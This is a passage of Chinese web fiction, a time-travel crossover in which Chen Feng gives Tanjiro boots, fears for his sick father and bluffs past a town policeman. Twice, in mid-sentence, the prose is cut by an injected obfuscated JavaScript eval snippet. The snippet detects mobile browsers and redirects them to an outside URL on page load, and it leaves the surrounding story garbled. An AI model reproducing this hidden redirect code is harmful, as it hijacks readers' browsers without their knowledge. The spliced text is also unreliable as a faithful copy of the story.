一般卖炭的收入他都是交给母亲作为家用的,但其实手头还是有些零钱的,因为母亲说,男子汉兜里必须有些钱备着,虽然炭治郎不会乱花,但偶尔会给弟弟妹妹们买点金平糖吃。 如果阿凤需要的东西太贵的话,现在可能钱不够买,但是我可以先记下来她想要什么,慢慢攒钱,到时候再买给她。 转眼间,炭治郎就在心中做出了决定。 “先去看看,我怎么也得搞清楚这个时代。” 陈凤说着,笑嘻嘻的从口袋里掏出一个被透明材质包着的银子。 这是一块20克的银条纪念币,上面写着XX银行100元,是先前陈凤去银行办业务时,扫码填写问劵得到的纪念品,放现代肯定不值钱,但这个时代银子还是能当花销的。 “来,你先跟我过来,我有东西给你。” “诶?” 然后,炭治郎就一脸懵的被陈凤按着坐下来,他一开始茫然陈凤要干嘛,可在看到陈凤拎着一双靴子过来,让他脱掉脚上的草鞋并换上后,直接涨红了脸。 “这,这怎么可以,不不不不!” 炭治郎脸红的都要滴血了,他想跑,却被陈凤直接按住大腿制止了所有动作。 “你要是不听话,我就亲自上手了。” 陈凤咬着牙警告,她瞪了炭治郎一眼,道:“我现在没钱,买不起新鞋子给你,所以只能让你先穿我的了。” “我不需要!真的!”炭治郎不可置信:“凤小姐自己穿就好了。” 陈凤翻了个白眼:“我当然有了。” 现在陈凤脚上穿着的是一双白色运动鞋,垫上棉花之后刚刚好。就是因为她缩水了,原先的鞋子都大了许多,她才想到给炭治郎一双的。 大家都这么穷了,就不要忌讳什么新旧了,先保证刚需吧! 炭治郎瞪大了双眼,努力让陈凤看到他眼中的真诚:“没关系的,我从小都是穿草鞋的啊,早就习惯了,而且我明白凤小姐的好意,所以你让我穿你的靴子,我反而还不习惯呢,而且,你可以给祢豆子或者花子。” “我以后有钱了,会给祢豆子和花子买新的。”陈凤摇了摇头,她苦口婆心的劝炭治郎接受,但这小子就是觉得不行,不接受。 陈凤静静的看了炭治郎半响,随即笑了,她将手中的鞋子往地上一掼,那双靴子砸在炭治郎脚边,发出了“咚”的一声。 “少废话,给我穿上!” 事实上陈凤的脾气一直都不太好,她这个人说话办事都十分干脆,最烦有人和她纠缠。这些日子之所以表现得十分平和,只是因为她寄宿在灶门家,自觉还没和这家人混熟,同时也没掌握话语权。 先前想要用布料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007230|194048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抵伙食费的行为被葵枝拒绝了,陈凤不好跟长辈争论,但是放在炭治郎身上就不一样了。 “我不!” 而炭治郎的脾气也十分的倔强,他就是看着温和,但这小子其实是有自己的一套办事规则的,他心中无法接纳的事情,谁都没法让他改变主意。 “我是不会接受的,凤小姐,比起我来,你才是那个应该被照顾的,你本来身体就弱,生病了谁来照顾呢!” 于是,两个内里都是倔牛的家伙互相瞪视半天,谁也不服谁。 最终,是陈凤败下阵来。 这小子眼睛还挺大。陈凤眨了眨酸涩的眼眶,心中再次对炭治郎的脾气有了新的认识。 还以为炭治郎是面团捏的,但其实是乳胶橡皮,十分难啃。 但陈凤也是那种不达目的不罢休的类型。 “你知道我为什么要让你穿我的靴子吗?”既然硬的不行,那就来软的。 “啊?” 炭治郎一懵,他刚刚以为陈凤已经放弃了,但没想到她好像,另有主意? “你是觉得我将自己的东西送你,是因为讨好你?同情你?或者只是……”陈凤沉吟一声,思索应该用怎么样的措辞,才显得温和没有攻击力。 “你觉得我是为了炫耀身上的财富?然后伤到了你的自尊心?” “当然不是,我没有这种想法。” 炭治郎连忙否认,他被陈凤这种“倒打一耙”的反问乱了阵脚,连忙解释:“我只是觉得,比起我这种早就习惯了苦日子的人,凤小姐更需要这些。” 陈凤摇了摇头:“不是这样的,真正需要这双靴子的人是你,炭治郎。” 说着,陈凤蹲下来,她忽然伸手握住了炭治郎的脚踝,冬天为了保暖过冬,像炭治郎这样的村民,冬天是没有鞋子的,为了保暖也只是穿厚实点的袜袋,而为了固定松散的袜带,需要从小腿开始往下缠上一层又一层的布条,直到将袜带绑紧连好。 “凤,凤小姐,请不要这样……嗷!” 被女孩子这么接近,炭治郎一开始还很羞涩很紧张,但直到陈凤用力的在他小腿腓骨长肌处按捏,一股猛然袭来的酸胀感和疼痛感,让炭治郎难受的呲牙。 “嘛,就是这样。” 陈凤放开抓着炭治郎小腿的手,她摇了摇头,霓虹的草鞋木屐就是夹脚拖鞋,受力点都在大脚趾的指缝处,为了平衡,小腿肌肉一直都绷着。 “家里的劳动力只有你了,炭治郎,如果你倒下了,那么多重活累活,你觉得我们谁能胜任?” 陈凤的询问如同当头棒喝,直接让炭治郎怔愣住了。 “你每天上山下山的来回跑,最废脚了,现在你还小,你觉得没事,是因为你在透支你的身体,我不用猜,就知道你其实每天腿上和脚上都有酸胀的感觉吧?长此以往,你的脚会废掉的!” 陈凤用最严重的后果吓唬炭治郎道:“你想要以后变成一个腿残废的人,拖累家里吗?” “我,我……” 炭治郎脸色惨白,他什么都不怕,最怕的就是他不能够完成自己的责任帮助家里,反而要为家里添麻烦,如果那样的话,如果那样的话,还不如…… “啪!” 陈凤一巴掌拍在炭治郎的脑门上,她揉了揉手,还挺疼,这小子的脑门可真硬啊。、 “好了,别乱想,我和你说这些只是希望你别老是想着别人,得多爱惜自己一点。” 陈凤指了指地上的那双靴子:“这靴子我穿着大,但你穿应该可以,如果还大就让阿姨给你做一双鞋垫。” 这一次,是陈凤伸手摸了摸炭治郎的脑袋,就如同刚刚炭治郎安慰她一样,她也学着那种语气安慰炭治郎。 不过陈凤素来觉得安慰人有些难为情,她总是煽情的话说到一半,就忍不住歪楼。 “好乖好乖,要听话,就算是买回来耕地的牛,主人家还得给钉蹄铁呢。” 炭治郎:“……凤小姐,有些话其实你可以憋在心里不说的。” 陈凤:“呃,我会注意的。” 新靴子很合适,当炭治郎蹬进去的第一感受就是柔软,温暖。这种脚上被暖绒包围的感觉,这种踩在棉花上,但却十分稳当踏实的感觉,让炭治郎十分激动。 好舒服,这是阿凤送给他的。 炭治郎高兴的甚至在原地转了个圈,这是他少有的孩子气的时候。 “新靴子好舒服!谢谢你,凤小姐!我一定会好好爱惜的。” 陈凤点了点头,其实她内心一直在努力憋笑。 这短靴是她特意挑的,又结实又舒服,但为了配汉服穿,所以靴子两侧都绣着兰花草,幸亏炭治郎是小男孩,而且留着长发所以不违和,等他长大点……嘿嘿嘿嘿。 “穿好了我们就出发吧!” 看了看时间,也不早了,冬天黑得快,陈凤可不想回家时候抹黑上山。 “来了!”炭治郎轻快的答应一声,穿着新靴子非常愉快的和陈凤出门了。 等两个孩子的身影走远后,一个消瘦的男人慢慢的从屋子中走出,他静静的望着儿子欢快的背影,神色恍然,这一刻,他仿佛看到了儿子幼时无忧无虑的笑容。 男人盯着儿子远去的背影,竟有恍然隔世的感觉,自从儿子从他手上接过重担,就好像一夜之间长大了一样,许久都未曾似现在这般放松了。 真好啊,炭治郎。 6. 第六章 第六章 炭治郎说,他们所生活的山,名为云取山,属东京府管辖,听着好像是在霓虹政治中心的范围,但这年代城市和郊区根本就是两种概念,只因为现如今的人力无法完全开采山中资源,因此山里的猛兽繁多,尤其是熊,在冬天的时候常会闯入村子里吃人。 “一般大家在深冬时都不会出门。”炭治郎说着,忍不住嘟哝一句:“所以今年我们必须得多存一些粮食。” 陈凤明白炭治郎的顾虑,因为灶门家本来吃饭的嘴就多,现如今再加上一个她,那更是捉襟见肘了,但陈凤的关注点不在吃食上,而是:“你刚刚说经常有熊出来吃人?”陈凤瞬间提心吊胆起来。 的确,霓虹这边虽然没有老虎,但是吃人的熊层出不穷,这让陈凤有些担忧,和能够在村子中落脚,靠着农田吃饭的村民不一样,炭治郎一家是生活在山中的山民,而且他们家不是猎人,那岂不是很危险?要是有熊,第一个吃的就是他们家! “嗯,每隔两三年,就会有熊患。” 说到熊,炭治郎的眉宇间也变得凝重起来:“但那时候,都是父亲联合村里其他的青壮年,去围猎那些猛兽的,但今年……” “诶?你是说,你爸爸有本事猎熊?” 陈凤不可置信,说真的她这些日子就只见过炭治郎的爸爸一面,但也就是隔着门,很远的跟对方互看一眼。 大部分时间,这位神秘的一家之主一直将自己关在离伙房较近的杂物间里,吃饭也不会出来,据炭治郎说,炭十郎先生得的是肺病,怕传染给孩子们。 “是啊,我爸爸可厉害了。” 提到自己父亲,炭治郎就变得亢奋,这时候的他看上去才有了些孩子气的模样。 “我们灶门家世代以烧炭为生,因此是与火打交道的家族,在每年的新年之夜,灶门家的当家人,需要在夜里跳舞一种独特的舞蹈,而且要跳一整夜,用以祭祀,保佑来年一帆风顺。” “等等,一整夜?!” 陈凤惊呼,因为这在她的认知里,跳舞跳一夜是一件非常艰难的事情,对舞者的体力要求可是很大的,陈凤以前其实是想走艺考生路线来着,但后来她身体达不到标准放弃了,虽然放弃,但该有的基本功还是有的。 就比如某春晚当时钟转了半宿的小女孩,很牛了吧,可是炭治郎说那个祭祀之舞要跳一宿? “是啊,一整夜。” 说着,炭治郎对陈凤,用一种炫耀的语气道:“很了不起吧,今年等到过年时,我爸爸身体应该会好的,到时候你就能看到那个舞蹈了,火之神神乐,献给火神,献给……” 说到这里,炭治郎愣住了,因为他看到了一身红衣的阿凤,她穿着鲜亮的火红色外装,披着一件华美的斗篷,此时她将斗篷的帽子拉起来,雪白的毛边将她的脸衬得更加可爱,就好像下凡的天女一般。 不知怎的,就好像福至心灵般,炭治郎心中闪过一个念头,这个念头是那么的强烈,强烈的差点让他说出不体面的话。 幸好,他忍住了。 “献给什么?” 陈凤对炭治郎嘴上说的祭祀之舞很感兴趣,可她又想起先前去霓虹旅游的时候,见过那些神社的巫女跳舞,就是一些小幅度的动作,如果是那种舞蹈的话,跳一夜,应该还可以完成吧? “没什么。” 炭治郎想到父亲的身体,长叹一声转移话题:“我就是想,如果父亲今年无法跳火之神神乐的话,就要由我来负责今年的祭祀了,我不知道我能不能胜任。” “别担心,你父亲会好起来的。” 陈凤先前一直以为炭治郎的爸爸是天生身体虚弱,毕竟她是女孩,而且还是外客,她自然不好打听人家的家事啊。 贸贸然的去问灶门家的人,诶,你父亲为什么一直躺着不见人?得什么病了?和我说说…… 陈凤心中恶寒,这也太【二了蛋】了! 正巧炭治郎提起他父亲的事情了,那陈凤可以借机打探一番。 “说到这里,我想询问,叔叔他到底是得了什么病呢?”陈凤一脸担忧,她问:“有找大夫看过吗?” “已经让町医看过了,但是町医说他才疏学浅,无法诊断出我爸爸到底是怎么了,他建议我们去大城市,但……” 町医就是游方医生,没有固定坐堂的医馆,游走在乡野之间,普通人家得了病,都是靠这些町医治疗的。 炭治郎说到最后郁闷的叹了口气,他们这样的家庭条件,别说是去大城市了,就算是镇子上的汉方馆都看不起。 炭治郎当然想要带父亲去镇子上,找最好的大夫,开最好的药,但是自从他当家之后就发现,生活不是那么容易的,哪怕他日夜不休的去伐木,去烧炭,每日所赚的钱也只够家中的温饱。 他不是不努力啊,他明明拼尽全力的去工作了,可为什么上天还是这么残忍? 炭治郎觉得一切都是他的错,是他没用,所以留不住父亲的性命,而这样的压力他无法和任何人诉说,因为他是长子,是接任父亲挑起这个家重担的人,他不能露出一丝疲惫,也不可以倒下,否则的话,否则…… “回神!呼吸!”陈凤呵斥道,她伸手抚摸炭治郎的侧脸,眉宇间满是担忧:“你现在看上去,好像一个即将被水溺死的人。” 炭治郎瞪大了双眼,脸上冰凉的触感将他心中憋闷的情绪驱散。 好险啊,好险啊……他刚刚差点窒息。 因为陈凤的打断,炭治郎才找回了自己的呼吸,他现在后背全是冷汗,刚刚心中那些沉闷的情绪差点将他压垮。 “谢谢。”炭治郎挤出一个笑容,仿佛是在向陈凤强调自己没事一样。 而陈凤不置可否,她知道像炭治郎这样想得十分多的小孩,普通的言语安慰是没用的,得做出一番实际,让他有了务实的希望才能放松。 对于炭十郎先生的病情,陈凤还是挺乐观的,这个年代最难的病症莫过于肺痨,麻风,和天花。 “呐,炭治郎。” 陈凤很认真的看着炭治郎询问:“你们家接种过牛痘吗?” “嗯?” 炭治郎看了看陈凤,而后笑道:“接种过,就连六太都在一年前发完痘了。” 这个消息让陈凤长舒一口气,她不得不承认,这个时候的霓虹是世界发达地区之一,因为背靠西方,所以在明治维新之后,牛痘已经被政府纳入卫生管理条令了。 对于天花……陈凤看了眼自己的左胳膊,即便现在有袖子挡着,但陈凤还是能联想到她左胳膊上那个原型的伤疤,那是她接种过疫苗的证明,也正是因此陈凤才能确定她是身穿,只是变小了。 而肺痨,就是肺结核,这个病传染性强,且稍有不慎,结核病菌就会有耐药性,但十分凑巧,陈凤身上带着药呢,利福平和吡嗪酰胺片她都有,进口的莫西沙星片也有。 自从那三年,陈凤和她的朋友在隔离点生活一段时间后,已经被吓怕了,所以呼吸道的抗生素她们都带着。 如果炭十郎先生是肺痨初期,那治愈希望还是很大的。 如果是麻风…… 陈凤一阵心悸动,她忽然想起,虽然只远远的见过一面,但她隐约记得炭十郎先生的额头上有红色的瘀斑来着?!! 啊,不是吧!不会是麻风吧?我的天啊! 陈凤想到这个可能就越来越害怕了,因为她记得,得了麻风初期就是斑疹来着。 这个病就是在现代也不容易好啊,它的传染性很慢,但耐药性好,就算是在现代也需要半年甚至一年的时间。 “那个……” 炭治郎忽然感觉到陈凤身上的气息变得惶恐紧张起来,弄得他也跟着惶恐不安。 “你怎么了?是因为走太长时间累了吗?”炭治郎想到陈凤和自己不一样,看上去一直都是娇生惯养的,以为是陈凤走不动了,因此想要背她。 “啊,不,我就是比较担心。”陈凤摆了摆手,拒绝了炭治郎的好意,她对炭十郎先生的身体实在是太在意了,这个时候已经顾不得其他了,直接问吧。 “炭治郎,我问你,你爸爸的身体是从什么时候垮的?还有他额头上的那个红色的斑,是什么时候有的,你老老实实回答我。” “诶?啊,嗯……” 炭治郎被陈凤的严肃的语气吓了一跳,但还是老老实实的回答道:“我爸爸额头上的斑纹?从我出生就有啊? 据我妈妈说,那个额头上的伤疤,在她嫁给我父亲时就有了。” 说完,炭治郎感觉很奇怪,阿凤为什么这么紧张,为什么要在意爸爸头上的斑纹呢? 炭治郎不明所以,但还是尽可能的将自己能回忆的细节表述出来。 “其实我爸爸先前的身体很健康,不然也没法担任每年猎熊行动的主力,但是不知怎么回事,一年前……就忽然垮掉了,他开始变得虚弱,咳嗽,越来越没精神,这段时间我甚至看到他咳血了,明明先前那么健康的一个人,却忽然……” 听到这里,陈凤长舒了口气,炭十郎先生额头上的斑纹一直都有,就说明不是麻风吧? 毕竟得了麻风的人身体会越来越僵硬虚弱,炭十郎先生可是生了六个孩子的人,一年前他的身体一定特别健康! 哎,真是的,自己吓自己~~ 不过,陈凤心中也默默将尽快带着炭十郎先生去镇上,甚至是城市中的医院好好看病的计划无限提前了。 这个年代应该已经有西医了,虽然她手中有药,但在确诊病症之前不能乱吃。 看病这种事耽搁不得,她必须得保住炭十郎的命,对于一个家庭来说,一个健壮的成年男性,甚至是一个可以猎熊的成年男性,他的存在是多么的重要。 在生产力落后的地方,一个家有男人和没男人的区别陈凤可太清楚了,别看炭治郎总是说他下山时,大家都对他表现得友好,但那也是基于炭十郎曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007231|194048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经的余威所留下的。 霓虹这个地方阶级意识特别强,有田地的农民对没田地的山民是打心眼里瞧不起的,甚至觉得他们是野人,先前陈凤还奇怪,为什么炭治郎一直都说大家对他都特别友好,没人瞧不起他,现在陈凤明白了。 炭治郎性格讨喜是一部分原因,他老爹每年带着村子里的人去猎熊才占了主要根本,谁会得罪一个武力值高强的保命高手啊!这时候熊是真的会吃人的! “不行了,不能耽搁了,炭治郎,我们加快速度,带我去镇上!” “啊,是!” 等走到镇子上后,已经是下午了,陈凤看了眼手中的怀表,现在是下午两点二十,谢天谢地,她为了搭配自己的英伦风LOL裙,选择了一个怀表项链的配饰,而且还是个机械表,不然这个年代她连时间都没法掌握。 “喝点水吧。” 炭治郎见陈凤一脸疲惫的样子有些担忧,他将竹筒递过去,十分害怕陈凤遭不住。 但其实陈凤虽然疲惫,但还能接受,现在她的身体回到了十三岁,机能最好的时候,她十三岁之前是走艺考的,但可惜,她小艺考没被舞蹈附中选上。 哎,艺术这个道路,人外有人天外有天啊,不过陈凤早就释怀了。 当年为了走艺考,陈凤从小就一直训练,十三岁是她身体的巅峰,虽然瘦,但其实特别有劲,走两个小时的山路还是可以的。 “我们现在要去哪?” 炭治郎在陈凤喝完水后询问,其实他很少逛街的,一般走街串巷卖完炭后就马上回家的,所以今天不带任何工作目的在镇子上闲逛,炭治郎觉得很稀奇。 “先去……菜市场看看。” 陈凤不了解现如今的物价,她得先去了解一下民生用品,菜市场杂货铺再合适不过了。 云取山脚下的镇子虽然称不上繁荣,但至少该有的都有,毕竟这里直属于京东府管辖,为了首都的面子,即便是边缘的小镇子也得维护好。 陈凤看着来大街上来回巡视的治安官,眉头微不可察的一紧,她的紧张也影响到了炭治郎。 “凤小姐?”炭治郎拉了拉陈凤的袖子,有些担忧。 “呐,炭治郎。”陈凤的眼睛一直盯在那些腰上挎着警刀的家伙上,那些都是镇子上的巡逻警官,陈凤对这些人十分警惕。 虽然说现如今禁刀令已经实施二十多年了,但一些公职人员在规定的范围内,还是可以佩戴刀具的,他们因为规定,不至于向普通民众拔刀,可那些巡警的手上拎着的治安棍,可就说不准了。 霓虹的警察可不是人民的公仆,虽然他们还不到欺男霸女的地步,但是要是起了坏心思,给你按个罪名打一棍子,也够受的。 “怎么了?”炭治郎问。 “你常年走街串巷吧?那些巡逻官对你们这些小贩态度如何?” 炭治郎抿了抿唇,老实道:“我一般会躲着他们走。” 自古民不与官斗,就算是对谁都十分亲切的炭治郎,也明白这个道理。 “虽然说我们家和郡长宽五郎先生有交情,但如非必要,我也不会和那些巡逻官有正面交流。” 此时的霓虹已经初步设立与现代警察相似的政府部门,但是这时候的警局对地方还是辅助型的部门,真正做主还是靠地方的行政监督系统。 知县是最高领导者,下一级的郡长才是一把手,他需要定时去管辖的村子巡逻,以便管理。而村长受命于郡长,为了方便工作,村长会认命附近德行较高的人担任户长,户长就是管理附近住户户籍人员的存在。 而这时候的警厅,任何行动都要听从郡长,甚至是村长的调动。他们就是执行者,说白了就是干活的。 那些巡逻警察对于炭治郎这样走街串巷的小商贩,就和饿狼见到羊一样,巡逻警察处于最底层,他们想要捞油水,就喜欢从小商贩身上捞。 炭治郎从小就知道,不跟那些家伙起冲突,再加上他还是个孩子,身体小而且灵活,想要躲藏的话没人能抓住他。 以及,最重要的原因,炭治郎的爸爸炭十郎因为有猎熊的本事,所以在这附近也是名人,身为郡长的宽五郎有求于炭十郎,因此也和镇子上的警局打过招呼,不要为难灶门家的孩子。 毕竟郡长的职责需要保护城镇治安,每年冬天的熊患,就是他们最头疼的事情,如果周边山村出现大规模的死伤,那么郡长的是要受责的。 陈凤也瞬间想明白了一切,她心中默默起誓,不论如何都得先治疗炭十郎叔叔的病。 “喂,你们两个!过来一下!” 这个话音刚落,陈凤就感觉到炭治郎猛然抓住了她的手,十分用力。 陈凤抬头,和说话的家伙对视上了,那是一个个头不高的男人,穿着深蓝色的西式制服,带着大檐帽,手上拎着警棍,他看着陈凤的眼神带着打量,表情刻板而严肃。 “把你们的住民票,拿出来给我看一下。” 7. 第七章 第七章 “把你们的住民票,拿出来给我看一下。” 在听到警察说出这句话的一瞬间,炭治郎便抑制不住的紧张,此时他浑身血液近乎停滞,差点就要拉着陈凤转头就跑了,但却被陈凤一把拉住。 陈凤给了炭治郎一个眼神,示意他这个时候要镇定,经陈凤的提醒,炭治郎也意识到这个时候必须镇定。 这是镇子上,如果他们自乱阵脚的跑走了,那个问话的警察便会瞬间吹响警哨,到时候附近街上的所有巡逻官都会一拥而上,他们跑不掉的。 怎么办,怎么办! 炭治郎狠狠的咽了口吐沫,他僵硬得都快忘记呼吸了。从小被教育要诚实的他,从小为了给下面的弟妹当榜样,因此严格要求自己的他,根本没办法说谎。 炭治郎早已知道阿凤的来历神秘,她是没有住民票的,如果被警察看出来她是流民,那会不会被警察用棍子殴打? 炭治郎经常来镇子上,也是知道那些流民会被怎么对待的,那些流民会被罚款,遣送回原籍,如果找不到遣送的地方,就会被关起来不给饭吃,最终送到艰苦的地方劳动。 阿凤根本受不住这些啊,她的手指干净得没有一个茧子,她的皮肤和花瓣一样娇嫩,这样的她如果被关进监狱里,注定没办法活下去的。 炭治郎,炭治郎!你不能慌,你必须得想办法,快思考,快思考!不要让那个警察发现你的异样,想办法!想办法瞒过他! 眼看着警察已经走了过来,且面色不善,炭治郎急的身上的冷汗都要将衣服浸透了。 而这个时候,陈凤动了。 陈凤冲着那个警察微微抬起下巴,神情中透着骄矜,冲着那警察轻声开口:“May I inquire about your business? ”请问你有什么事? 说完,炭治郎和那警察都愣了,炭治郎扭头看着陈凤,不明白刚刚她说的是什么,自己好像……听不懂? 陈凤等了一会儿后,这才露出一个懊恼的神色,她对那警察微微欠身,而后道:“斯米马赛,我才刚刚归国,还有些不习惯。” 做完这一切,陈凤的手心也格外冒汗。 她这么做是非常冒险的,因为这个年代,霓虹还没完全被西洋打服,还没有完全失去自己本国的军队,明治维新就是为了学习跟上西方脚步,做出的一系列国家改动政策,因此这个时候的霓虹,对西方是抱着非常复杂的情绪的。 霓虹想要学习西方的文化,并融入世界变成强国,但同时,他们也想要保持民族的主体性与独立性,所以霓虹对西方人和西方文化是非常矛盾的。 陈凤记得历史,等过几年,霓虹和沙俄打仗打赢了之后,整个国家的气势高涨,社会蒸蒸日上,才有了大正浪漫这个时代。 因此才说陈凤的举动很冒险,因为她不清楚,这个警察对西洋的东西到底抱有什么态度,是好奇崇拜,还是排斥敌视。 但不论如何,陈凤自己会说英文这件事,已经暴露出一件事,那就是她的出身非富即贵。 就算是不想也必须得承认,西洋的东西都是上乘物品,因此能够留洋,且穿衣打扮华贵艳丽,种种迹象都暗暗的对那个警察诉说,陈凤的背后有关系。 这年头能当上警察都是有见识的,他们往往更会趋利避害,不敢得罪富商权贵,因为这会给他们带来不必要的麻烦。 “抱歉,小姐。” 警察原本严肃刻板的神情此时缓和了不少,他对陈凤道:“维护治安是我的责任,因此我必须得查看你们的身份证件。” “那种东西我没带。”陈凤用一种漫不经心的语调回应道,随即伸手点了点炭治郎的肩膀:“你先查他的吧,他是这里的居民。” “是!”感觉到陈凤落在肩上的手,炭治郎瞬间振作,他马上将自己的住民票拿出来递给警察,身板站得笔直。 这个时候的霓虹没有身份证,认证身份全靠一张写着姓名,家庭,户长,等一些列信息的纸质证件,这个纸质证件便被称为住民票。(就和年代文的介绍信一样) 由于炭治郎总是得下山游走于山村,所以他必须得随身携带证件,不然会被抓的。 “灶门家?哦,是那个灶门家。” 警察看到住民票上的户籍之后,更不打算为难了,灶门炭十郎可是这附近有名的好汉啊,那可是被郡长提名的人,体系内的大小政员都知道灶门家不可以得罪,但例行公事,他还是得多问一句。 妥了! 陈凤面上不动声色,但心中却激动的呐喊,看这个警察的样子显然是知道灶门家的!那么他就不会过于为难,所以…… 冷静啊,冷静下来,陈凤,还没有真正的通关呢,这个警察还没离开,你一定要控制自己,不要颤抖,不要害怕,不能让他看出任何破绽。 “这位小姐和你们家是什么关系?”警察最后确认道。 陈凤慢慢的吸气,她面上保持着漫不经心的神态,学着先前电影中看过的那种富家千金的傲慢,实际上内心里却飞快的思索如何回答。 啊,应该怎么说呢,什么理由才适合呢? 陈凤刚打算接话,就听到炭治郎十分自然的说:“她是寄宿在我家的亲戚。” 当炭治郎开口时,陈凤也一愣,她扭头看着炭治郎,这个时候的炭治郎眼神一直落在警察的身上,许是察觉到陈凤的眼神,炭治郎转了一下眼睛,后又立即将眼神定在警察身上。 事实上炭治郎手心中全是汗,他长这么大没说过谎!他不会说谎!可是! 炭治郎看着面前的警察,他觉得自己马上就要窒息了,因此他绷紧了全身的肌肉,就是为了遏制全身不自觉的颤抖,让人看出破绽。 不能让陈凤被抓走,不能让陈凤被抓走……不能让陈凤被抓走! 此时的炭治郎脑子里全是这个念头,明明是大冷天,但是炭治郎感觉到了头顶的汗水冰凉的从额间划过,落入了衣襟中,温热的皮肤被突如其来的冰冷激的一颤,也让他精神一振。 “因为大小姐,和我家是远亲。“炭治郎垂眸,声音嘶哑道,在说出这句话后,就仿佛打开了什么开关一般,接下来的一切都变得顺利异常了。 ”她的家人做生意要去远地方,所以拜托我父亲照顾她。” 说着,炭治郎看了陈凤一眼,陈凤也在看着炭治郎,两人彼此互换眼神时,其实都明白对方的心中有多紧张。 陈凤心里捏了把汗,她真怕炭治郎没法圆过去,而自己也在心中时刻准备着,如何炭治郎有破绽,她应该怎么接话。 而这之后,炭治郎已经完全发挥好了,他语气中带着无奈,仿佛陈凤真的是一位被塞入家里的贵人一般:“因为我们家住乡下,小姐她觉得腻了,所以要我带她来走走,因为她不经常出门,所以没想过要带票据。” 这个年代虽然逐步开放,但女性们出门的还是不多的,大部分出门的都是由掮客带着找工作的女工,大家小姐出门确实很少,这个理由是说得通的。 “哦,这样啊。” 警察已经完全相信了,毕竟陈凤的模样就是大家小姐,而大家小姐性格确实难搞。 “好了,我已经问完了,二位可以离开了。”说着,警察还好心的对陈凤提醒道:“这位小姐,若您经常出门玩耍,还是建议您尽快办理住民票,并随身携带,” “好,我知道,麻烦您了。”说着,陈凤对警察轻轻鞠躬,但她不是和炭治郎一样的那种九十度的弯腰,而是微微欠身,虽然礼貌但大小姐姿态十足。 等警察终于走开后,陈凤和炭治郎各自对视一眼,两人默契的迅速手牵手,以最快的速度跑走了。 “呼呼!” 等炭治郎带着陈凤跑到了他熟悉且安全的地方后,两个人都气喘吁吁的,半天也说不上一句话。 “吓,吓死我了!”炭治郎靠着墙滑坐到地上,他捂着心脏,只觉得他的心跳现在还强烈的要蹦出来呢。 “我也是。”陈凤因为顾忌身上的衣服没有和炭治郎一样靠墙,毕竟那么好的衣服被弄脏或划破太可惜了,因此她弯着腰扶着膝盖调整呼吸。 两人过了好久,忽然福至心灵的对视,然后不约而同的笑了。 “噗~我刚刚差点以为自己要完了。”紧张过后就是神经被刺激后的亢奋,陈凤觉得她这一生真是精彩,穿越过后差点被抓去坐牢,太有节目了。 “你还笑呢,我刚刚紧张死了。”炭治郎回想一下刚刚自己的表现,到现在他都无法想象,自己竟然会说谎,而且还说的那么利索自然。 会被妈妈责备吗?她一直教导自己成为一个诚实的人…… 炭治郎心中开始自责,但他转头又看到了陈凤笑颜如花的模样,感觉心跳忽然漏了半拍。 偶尔撒个小谎其实也是可以的……吧? 妈妈常说,说谎的人死后要下拔舌地狱,但如果能让阿凤安然无恙,炭治郎觉得自己以后被拔几百次舌头也无妨的。 “我们走吧。” 陈凤拍了拍衣服,起身对炭治郎伸手:“咱们还没干正事呢。” 经过刚刚警察的那件事,陈凤和炭治郎之间的关系瞬间被拉进了,他们两个现在也算是一起做坏事,一起共患难了。 所以陈凤不自觉的就对炭治郎少了生疏和客气,多了亲近和放松,而炭治郎自然感受到了,他虽然没说话,但却很高兴。 因此…… 炭治郎握住陈凤伸过来的手,借着她的力道起身,起身之后炭治郎没有放开陈凤的手,反而握紧她的手向前跑去。 “走吧,前面不远就是镇子上的市场了。”炭治郎笑着往前走,他啊,最会抓住机会了。 “喂,慢点啊。” 陈凤没准备,被炭治郎拉得趔趄,她不满的抱怨,使得跑在前面的男孩歉意的一笑。 “抱歉啊,我太着急了。”炭治郎虽然嘴上说着抱歉,但手却从来没放开过。 陈凤没在意,她任由炭治郎拉着她,一直到农贸市场。 在这里,陈凤首先看了大米的价格,由于镇子上的工薪阶层很多,所以精米在粮店中的供应充足。 现如今的日元是金本位结算制度,因为霓虹是亚洲首个工业化的国家,现在的它可以说是欣欣向荣,因此日元的购买力也就十分充裕。 现在的市场价格,一日元(大洋)等于100钱,等于1000厘。 一块大洋可以买精米十六斤到二十二斤,同样是精粮,白面要便宜一点,一块大洋可以买二十斤到二十五斤不等的白面。 改善伙食买猪肉的话,一块大洋可以六到七斤,鸡蛋倒是便宜一点,二到三钱一个,一块大洋能买很多鸡蛋呢。(注意,以上价格都会随着季节和市场的变化有所波动) 在这种价格的基础上,一个工人的工资一个月是15到20块,但得是三班倒,没有假期,而且还得是男工人,女工人的工钱那就被大幅度的压制了,一个月才2到3块钱。 霓虹这个国度不提倡女人出来工作,所以女人的收入远远不如男人,当然教师岗或政府部门的岗位例外,一个教师不论男女,工资都是一个月8块钱到9块钱,政府公务员就是20到25。 之所以这些地方不克扣女人的工资,那是因为能够上那种职业的女性,家里都是有头有脸的人物,没谁会在这种地方得罪一个家族,给大家找不痛快。 “炭治郎,你们家炭卖多少钱?” “啊?我们家的话,现在一俵硬炭是38钱,但如果买的多的话我会便宜一些。” 